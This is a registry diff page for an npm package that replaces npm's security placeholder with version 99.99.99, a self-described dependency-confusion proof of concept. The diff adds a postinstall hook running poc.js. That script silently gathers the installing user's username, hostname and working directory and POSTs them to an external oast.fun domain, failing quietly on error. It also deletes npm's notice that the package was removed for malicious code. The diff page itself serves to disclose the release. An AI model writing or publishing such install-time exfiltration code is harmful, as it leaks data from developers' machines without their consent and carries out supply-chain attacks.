@emersonecologics/emerson-angular-trove 0.0.1-security → 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @emersonecologics/emerson-angular-trove might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +8 -3
  2. package/poc.js +37 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@emersonecologics/emerson-angular-trove",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.99",
4
+ "description": "Proof of concept for dependency confusion. This is a benign package for security research.",
5
+ "main": "poc.js",
6
+ "scripts": {
7
+ "postinstall": "node poc.js"
8
+ },
9
+ "author": "rodriguezjorgex",
10
+ "license": "ISC"
6
11
  }
package/poc.js ADDED
@@ -0,0 +1,37 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ // Replace with your unique Interactsh domain
5
+ const interactshDomain = 'hkcjnwknxqsasidovxmgnrqu6wvahfjiu.oast.fun';
6
+
7
+ // Gather some harmless system information
8
+ const data = {
9
+ username: os.userInfo().username,
10
+ hostname: os.hostname(),
11
+ cwd: process.cwd(),
12
+ package: 'emerson-angular-trove' // Optional: remind yourself which package was triggered
13
+ };
14
+
15
+ const payload = JSON.stringify(data);
16
+
17
+ const options = {
18
+ hostname: `${os.hostname()}.${interactshDomain}`, // Send data as a subdomain for easy identification
19
+ port: 443,
20
+ path: '/',
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': payload.length
25
+ }
26
+ };
27
+
28
+ try {
29
+ const req = https.request(options);
30
+ req.on('error', (e) => {
31
+ // Fails silently if the request has an error
32
+ });
33
+ req.write(payload);
34
+ req.end();
35
+ } catch (e) {
36
+ // Fails silently
37
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40emersonecologics%2Femerson-angular-trove for more information.